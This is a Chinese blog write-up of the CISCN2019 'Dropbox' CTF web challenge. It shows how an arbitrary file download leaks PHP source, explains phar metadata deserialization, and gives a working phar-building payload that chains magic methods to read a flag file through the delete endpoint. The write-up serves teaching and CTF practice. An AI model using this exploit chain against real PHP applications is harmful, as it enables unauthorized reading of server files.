[CISCN2019 华北赛区 Day1 Web1]Dropbox

该博客探讨了一个PHP应用程序中的安全漏洞,涉及上传限制、文件操作函数和Phar协议。作者发现可以利用User类的__destruct()方法及File类的close()函数,通过FileList对象的__call()方法触发文件操作,构造特定的Phar文件以绕过下载限制获取flag。博客详细介绍了如何构建和利用Phar文件,包括设置stub、触发反序列化以及利用文件删除功能。
摘要由CSDN通过智能技术生成

打开靶机,注册一个账号,发现可以上传文件,只能上传png或者是jpg文件,上传之后可以选择下载文件或者查看文件;
先看看有没有上传文件的漏洞,并没有测试出来,转而看看是不是任意文件下载的漏洞;
抓包修改filename值;
在这里插入图片描述

这里先看看index.php的源码,最终发现是在上两级目录里,查看到了源码;

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

我们观察到还存在其他的文件
在这里插入图片描述
同样进行下载,查看内容
在这里插入图片描述

得到了class.php的代码

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
  public $db;
  public function __construct() {
    global $db;
    $this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
  return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
  return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
  return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
  return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
  $file = new File();
  $file->open($path . $filename);
  array_push($this->files, $file);
  $this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
  $this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '
<div id="container" class="container">
  <div class="table-responsive">
    <table id="table" class="table table-bordered table-hover sm-font">';
      $table .= '
      <thead>
        <tr>';
          foreach ($this->funcs as $func) {
            $table .= '
          <th scope="col" class="text-center">' . htmlentities($func) . '</th>
          ';
        }
        $table .= '
          <th scope="col" class="text-center">Opt</th>
          ';
          $table .= '</thead>
        <tbody>';
          foreach ($this->results as $filename => $result) {
            $table .= '
          <tr>';
            foreach ($result as $func => $value) {
              $table .= '
            <td class="text-center">' . htmlentities($value) . '</td>
            ';
          }
          $table .= '
            <td class="text-center" filename="' . htmlentities($filename) . '">
              <a href="#" class="download"></a>
              /
              <a href="#" class="delete"></a>
            </td>
            ';
            $table .= '</tr>
          ';
        }
        echo $table;
      }
    }
    class File {
      public $filename;
      public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
          return true;
        } else {
          return false;
        }
      }
      public function name() {
        return basename($this->filename);
      }
      public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
      }
      public function detele() {
        unlink($this->filename);
      }
      public function close() {
        return file_get_contents($this->filename);
      }
    }
    ?>

在class.php中发现了
在这里插入图片描述

可能存在download和delete两个php文件,下载访问一下
download.php内容为

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}


if (!isset($_POST['filename'])) {
    die();
}


include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");


chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php内容为:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}


if (!isset($_POST['filename'])) {
    die();
}


include "class.php";


chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

我们整合到文件夹里
在这里插入图片描述

思路:
在class.php中看到了许多魔法函数,猜想和反序列化的漏洞有关,但是所有文件里没有找到序列化函数的调用,又看到了file_get_contents()方法:
在这里插入图片描述

猜想可能和phar有关;

补一下phar相关的知识点;

phar://是一个封装协议;
在任何文件操作中都会为包装器触发unserialize()方法,可利用的函数有:

ìnclude($_GET['file']);
fopen($_GET['file']);
file_get_contents($_GET['file']);
file($_GET['file']);
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);

phar文件本质上是一种压缩文件,由四个部分构成,分别是:
stubmanifestcontentssignature

stub可以理解为一个标签,格式为:

xxx<?php xxx; __HALT_COMPILER();?>

必须以

__HALT_COMPILER();?>

结尾,否则phar扩展无法识别这个文件为phar文件;

manifest中存放了phar文件的权限、属性等信息,会以序列化的形式存储用户自定义的meta-data,是攻击手段的核心;

contents存放phar文件的内容;

signature是签名,放在文件末尾;

还是自己尝试创建一下phar文件并且使用一下比较容易理解;
首先,构建一个phar文件之前,需要将php.ini的phar.readonly设置为off,否则无法生成phar文件;
在这里插入图片描述

改成Off;
写一个构建phar的phar_test.php文件,内容如下:

<?php
    class PharTest{
        public $name = "Klose";
    }
    
    @unlink(phar_file.phar);
    $phar = new Phar("phar_file.phar"); //后缀必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");  //设置stub
    $o = new PharTest();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("txt_file.txt", "I am a text file!");  //添加要压缩的文件
    //签名自动生成
    $phar->stopBuffering();
?>

访问这个文件后,会自动在此文件目录上生成一个phar文件;
在这里插入图片描述

其中meta-data是以序列化形式存储的;
因此在使用phar://伪协议解析phar文件的时候,php的一大部分文件操作函数会将meta-data进行反序列化的操作;
下面是反序列化操作的底层c语言代码:
在这里插入图片描述

甚至在设置stub的时候,可以将前缀修改成其他文件头来绕过对phar文件的检测;

    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub前缀为gif文件头

此时,反序列化可以触发一些魔法函数,这样很多人畜无害的函数也变得危险了;

解题过程:
观察得出FIle类中有close()函数,这个函数在User类被销毁时自动调用;
close()调用函数file_get_contents(),来获取一个文件的内容;
可以看到在download.php中,限制了flag关键字的下载;
可以利用文件删除的功能,即利用User类销毁,通过自动调用__destruct()函数来调用close()函数;
再分析FileList类,有一个__call()魔法函数,这个函数在对象调用一个不可访问的方法时,会被触发;我们可以让FileList对象调用其没有的close()方法,以此来触发__call()方法,可以通过赋值来调用File类的close()方法;
如果创建一个User对象,其变量db为一个FIleList对象,对象中的文件名为flag的路径, 当User对象销毁时,变量db的close()方法会执行,而变量db,也即为Filelist对象中没有close()方法,这样就会触发__call()方法,进而执行了FIle对象的close方法;
最后通过FileList对象的__destruct()方法,results变量的结果会被赋值给table,最终echo出来;

由此构造payload

<?php
class File{
    public $filename;
}


class User{
    public $db;
}


class FileList{
    private $files;
    private $results;
    private $funcs;
    
    public function __construct(){
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}


@unlink("myphar.phar");
$phar = new Phar("myphar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o);
$phar->addFromString("exploit.txt", "I need flag!");
$phar->stopBuffering();
?>

具体操作:
更改生成的phar文件的后缀名,并上传;
在删除时抓包,添加filename参数,即可得到flag;
在这里插入图片描述
在这里插入图片描述
得到flag;
flag{a8d5c0ad-bf8d-49ae-9f8c-556de8fb918f}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值